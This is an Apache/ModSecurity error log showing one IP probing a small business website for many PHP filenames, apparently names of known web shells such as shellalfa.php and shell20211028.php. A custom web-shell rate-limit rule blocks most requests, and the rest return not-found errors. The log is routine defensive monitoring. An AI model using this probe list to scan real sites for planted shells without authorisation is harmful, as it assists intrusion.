[Mon Apr 27 02:07:35.369706 2026] [:error] [pid 13137:tid 13157] [client 74.248.148.150:40048] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "ae5UZ90RB4J0o4h5neHM6gAAAhA"]
[Mon Apr 27 02:07:35.973173 2026] [:error] [pid 8383:tid 8408] [client 74.248.148.150:60867] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "ae5UZ9Fa2S3EsATMdWO2fAAAAAs"]
[Mon Apr 27 02:07:36.608764 2026] [:error] [pid 8383:tid 8419] [client 74.248.148.150:45381] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "ae5UaNFa2S3EsATMdWO2fQAAABY"]
[Mon Apr 27 02:07:37.174672 2026] [:error] [pid 13137:tid 13143] [client 74.248.148.150:62742] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "ae5Uad0RB4J0o4h5neHM8wAAAgM"]
[Mon Apr 27 02:07:37.743590 2026] [:error] [pid 13137:tid 13146] [client 74.248.148.150:28028] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shellalfa.php"] [unique_id "ae5Uad0RB4J0o4h5neHM9gAAAgY"]
[Mon Apr 27 02:07:38.271899 2026] [:error] [pid 13137:tid 13141] [client 74.248.148.150:39964] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shellalfa.php"] [unique_id "ae5Uat0RB4J0o4h5neHM-QAAAgE"]
[Mon Apr 27 02:07:38.791074 2026] [:error] [pid 8383:tid 8400] [client 74.248.148.150:45391] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shellalfa.php"] [unique_id "ae5UatFa2S3EsATMdWO2ggAAAAM"]
[Mon Apr 27 02:07:39.341480 2026] [:error] [pid 13137:tid 13142] [client 74.248.148.150:60040] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shellalfa.php"] [unique_id "ae5Ua90RB4J0o4h5neHM_AAAAgI"]
[Mon Apr 27 02:07:39.955426 2026] [:error] [pid 16515:tid 16536] [client 74.248.148.150:39980] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless11.php"] [unique_id "ae5Ua1tDrUmgHSvpuLxsBgAAAlI"]
[Mon Apr 27 02:07:40.527128 2026] [:error] [pid 8390:tid 8471] [client 74.248.148.150:40009] File does not exist: /usr/local/apache/htdocs/suspended-page/bless11.php
[Mon Apr 27 02:07:42.023337 2026] [:error] [pid 8390:tid 8471] [client 74.248.148.150:40009] File does not exist: /usr/local/apache/htdocs/suspended-page/xmu.php
[Mon Apr 27 02:07:42.281373 2026] [:error] [pid 8390:tid 8451] [client 74.248.148.150:40009] File does not exist: /usr/local/apache/htdocs/suspended-page/shelp.php
[Mon Apr 27 02:07:42.540875 2026] [:error] [pid 8390:tid 8461] [client 74.248.148.150:40009] File does not exist: /usr/local/apache/htdocs/suspended-page/xda.php
[Mon Apr 27 02:07:42.844918 2026] [:error] [pid 8390:tid 8467] [client 74.248.148.150:40009] File does not exist: /usr/local/apache/htdocs/suspended-page/pucci.php
[Mon Apr 27 02:07:43.111089 2026] [:error] [pid 8390:tid 8452] [client 74.248.148.150:40009] File does not exist: /usr/local/apache/htdocs/suspended-page/app.php
[Mon Apr 27 02:07:43.391502 2026] [:error] [pid 8390:tid 8466] [client 74.248.148.150:40009] File does not exist: /usr/local/apache/htdocs/suspended-page/x.php
[Mon Apr 27 02:07:43.733848 2026] [:error] [pid 8390:tid 8470] [client 74.248.148.150:40009] File does not exist: /usr/local/apache/htdocs/suspended-page/sys.php
[Mon Apr 27 02:07:44.006533 2026] [:error] [pid 8390:tid 8456] [client 74.248.148.150:40009] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-act.php
[Mon Apr 27 02:07:44.292723 2026] [:error] [pid 8390:tid 8453] [client 74.248.148.150:40009] File does not exist: /usr/local/apache/htdocs/suspended-page/ol.php
[Mon Apr 27 02:07:44.551534 2026] [:error] [pid 8390:tid 8473] [client 74.248.148.150:40009] File does not exist: /usr/local/apache/htdocs/suspended-page/mws.php
[Mon Apr 27 02:07:44.806657 2026] [:error] [pid 8390:tid 8475] [client 74.248.148.150:40009] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file9.php"] [unique_id "ae5UcIGPtFK_i9p5yxTH4AAAAJg"]
[Mon Apr 27 02:07:45.425291 2026] [:error] [pid 8491:tid 8502] [client 74.248.148.150:4055] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file9.php"] [unique_id "ae5UcSq7I7e6CJooQM07WQAAAMM"]
[Mon Apr 27 02:07:46.139896 2026] [:error] [pid 8385:tid 8444] [client 74.248.148.150:32952] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file9.php"] [unique_id "ae5UcjOy7_J84Wx3-oz3QgAAAFQ"]
[Mon Apr 27 02:07:46.681270 2026] [:error] [pid 8385:tid 8429] [client 74.248.148.150:3546] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file9.php"] [unique_id "ae5UcjOy7_J84Wx3-oz3QwAAAEU"]
[Mon Apr 27 02:07:47.334519 2026] [:error] [pid 13197:tid 13249] [client 74.248.148.150:4062] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ff1.php"] [unique_id "ae5Uc93kktFKdSxTrBv1vAAAAtE"]
[Mon Apr 27 02:07:48.185216 2026] [:error] [pid 8390:tid 8471] [client 74.248.148.150:3393] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ff1.php"] [unique_id "ae5UdIGPtFK_i9p5yxTH5AAAAJQ"]
[Mon Apr 27 02:07:48.731391 2026] [:error] [pid 16574:tid 16611] [client 74.248.148.150:56308] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ff1.php"] [unique_id "ae5UdH5MsX8wRQr99nZQ6QAAA0c"]
[Mon Apr 27 02:07:49.947732 2026] [:error] [pid 8385:tid 8445] [client 74.248.148.150:39204] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ff1.php"] [unique_id "ae5UdTOy7_J84Wx3-oz3SAAAAFU"]
[Mon Apr 27 02:07:50.964324 2026] [:error] [pid 8385:tid 8442] [client 74.248.148.150:56312] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "ae5UdjOy7_J84Wx3-oz3SQAAAFI"]
[Mon Apr 27 02:07:51.791091 2026] [:error] [pid 13197:tid 13237] [client 74.248.148.150:3403] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "ae5Ud93kktFKdSxTrBv1xAAAAsY"]
[Mon Apr 27 02:07:52.336668 2026] [:error] [pid 8383:tid 8414] [client 74.248.148.150:56316] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "ae5UeNFa2S3EsATMdWO2lgAAABE"]
[Mon Apr 27 02:07:53.276662 2026] [:error] [pid 13197:tid 13246] [client 74.248.148.150:3714] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "ae5Ued3kktFKdSxTrBv1xQAAAs4"]
[Mon Apr 27 02:07:54.222914 2026] [:error] [pid 8385:tid 8441] [client 74.248.148.150:56295] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/atomlib.php"] [unique_id "ae5UejOy7_J84Wx3-oz3TAAAAFE"]
[Mon Apr 27 02:07:55.159681 2026] [:error] [pid 13137:tid 13158] [client 74.248.148.150:39244] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/atomlib.php"] [unique_id "ae5Ue90RB4J0o4h5neHNBAAAAhE"]
[Mon Apr 27 02:07:55.781441 2026] [:error] [pid 8390:tid 8470] [client 74.248.148.150:32313] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/atomlib.php"] [unique_id "ae5Ue4GPtFK_i9p5yxTH7AAAAJM"]
[Mon Apr 27 02:07:56.528961 2026] [:error] [pid 16574:tid 16613] [client 74.248.148.150:32275] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/atomlib.php"] [unique_id "ae5UfH5MsX8wRQr99nZQ9gAAA0k"]
[Mon Apr 27 02:07:57.405853 2026] [:error] [pid 8491:tid 8513] [client 74.248.148.150:3310] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/06.php"] [unique_id "ae5UfSq7I7e6CJooQM07YQAAAM4"]
[Mon Apr 27 02:07:58.159901 2026] [:error] [pid 22572:tid 22581] [client 74.248.148.150:27338] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/06.php"] [unique_id "ae5UftXOViWCFU-pZzBgfgAAAUM"]
[Mon Apr 27 02:07:58.900127 2026] [:error] [pid 22573:tid 22623] [client 74.248.148.150:3734] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/06.php"] [unique_id "ae5UfnB3EmQlD4yKUt89fAAAAZA"]
[Mon Apr 27 02:07:59.835299 2026] [:error] [pid 8390:tid 8475] [client 74.248.148.150:34208] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/06.php"] [unique_id "ae5Uf4GPtFK_i9p5yxTH8wAAAJg"]
[Mon Apr 27 02:08:00.475874 2026] [:error] [pid 8383:tid 8412] [client 74.248.148.150:3317] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell20211028.php"] [unique_id "ae5UgNFa2S3EsATMdWO2owAAAA8"]
[Mon Apr 27 02:08:01.067117 2026] [:error] [pid 8385:tid 8448] [client 74.248.148.150:50051] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell20211028.php"] [unique_id "ae5UgTOy7_J84Wx3-oz3TwAAAFg"]
[Mon Apr 27 02:08:01.773456 2026] [:error] [pid 8383:tid 8411] [client 74.248.148.150:27383] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell20211028.php"] [unique_id "ae5UgdFa2S3EsATMdWO2pwAAAA4"]
[Mon Apr 27 02:08:02.862612 2026] [:error] [pid 13197:tid 13246] [client 74.248.148.150:32298] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell20211028.php"] [unique_id "ae5Ugt3kktFKdSxTrBv1zAAAAs4"]
[Mon Apr 27 02:08:03.729359 2026] [:error] [pid 8383:tid 8421] [client 74.248.148.150:61618] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/owl.php"] [unique_id "ae5Ug9Fa2S3EsATMdWO2qwAAABg"]
[Mon Apr 27 02:08:05.298748 2026] [:error] [pid 8383:tid 8404] [client 74.248.148.150:61627] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/owl.php"] [unique_id "ae5UhdFa2S3EsATMdWO2rAAAAAc"]
[Mon Apr 27 02:08:06.454827 2026] [:error] [pid 8383:tid 8419] [client 74.248.148.150:3295] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/owl.php"] [unique_id "ae5UhtFa2S3EsATMdWO2rwAAABY"]
[Mon Apr 27 02:08:07.396661 2026] [:error] [pid 16574:tid 16631] [client 74.248.148.150:33593] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/owl.php"] [unique_id "ae5Uh35MsX8wRQr99nZQ_gAAA1I"]
[Mon Apr 27 02:08:08.289608 2026] [:error] [pid 16515:tid 16541] [client 74.248.148.150:43124] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hook.php"] [unique_id "ae5UiFtDrUmgHSvpuLxsGQAAAlc"]
[Mon Apr 27 02:08:08.998964 2026] [:error] [pid 16574:tid 16606] [client 74.248.148.150:33588] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hook.php"] [unique_id "ae5UiH5MsX8wRQr99nZQ_wAAA0I"]
[Mon Apr 27 02:08:09.825412 2026] [:error] [pid 8491:tid 8500] [client 74.248.148.150:3299] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hook.php"] [unique_id "ae5UiSq7I7e6CJooQM07awAAAME"]
[Mon Apr 27 02:08:10.734561 2026] [:error] [pid 22572:tid 22591] [client 74.248.148.150:27343] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hook.php"] [unique_id "ae5UitXOViWCFU-pZzBgkAAAAU0"]
[Mon Apr 27 02:08:11.611647 2026] [:error] [pid 16574:tid 16643] [client 74.248.148.150:43116] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file59.php"] [unique_id "ae5Ui35MsX8wRQr99nZRBAAAA1g"]
[Mon Apr 27 02:08:12.259877 2026] [:error] [pid 8491:tid 8511] [client 74.248.148.150:61623] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file59.php"] [unique_id "ae5UjCq7I7e6CJooQM07bgAAAMw"]
[Mon Apr 27 02:08:13.011288 2026] [:error] [pid 16574:tid 16637] [client 74.248.148.150:27348] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file59.php"] [unique_id "ae5UjX5MsX8wRQr99nZRBgAAA1U"]
[Mon Apr 27 02:08:13.711947 2026] [:error] [pid 8383:tid 8419] [client 74.248.148.150:3325] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file59.php"] [unique_id "ae5UjdFa2S3EsATMdWO2ugAAABY"]
[Mon Apr 27 02:08:14.397563 2026] [:error] [pid 13137:tid 13142] [client 74.248.148.150:34203] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ok.php"] [unique_id "ae5Ujt0RB4J0o4h5neHNGwAAAgI"]
[Mon Apr 27 02:08:15.021624 2026] [:error] [pid 16515:tid 16518] [client 74.248.148.150:33561] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ok.php"] [unique_id "ae5Uj1tDrUmgHSvpuLxsJgAAAkA"]
[Mon Apr 27 02:08:16.226078 2026] [:error] [pid 16515:tid 16540] [client 74.248.148.150:43085] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ok.php"] [unique_id "ae5UkFtDrUmgHSvpuLxsJwAAAlY"]
[Mon Apr 27 02:08:17.294728 2026] [:error] [pid 8383:tid 8402] [client 74.248.148.150:3285] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ok.php"] [unique_id "ae5UkdFa2S3EsATMdWO2vAAAAAU"]
[Mon Apr 27 02:08:18.196806 2026] [:error] [pid 8383:tid 8401] [client 74.248.148.150:32272] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/less.php"] [unique_id "ae5UktFa2S3EsATMdWO2vgAAAAQ"]
[Mon Apr 27 02:08:19.569215 2026] [:error] [pid 16574:tid 16612] [client 74.248.148.150:34229] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/less.php"] [unique_id "ae5Uk35MsX8wRQr99nZRCQAAA0g"]
[Mon Apr 27 02:08:20.448036 2026] [:error] [pid 22573:tid 22620] [client 74.248.148.150:3303] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/less.php"] [unique_id "ae5UlHB3EmQlD4yKUt89ggAAAY0"]
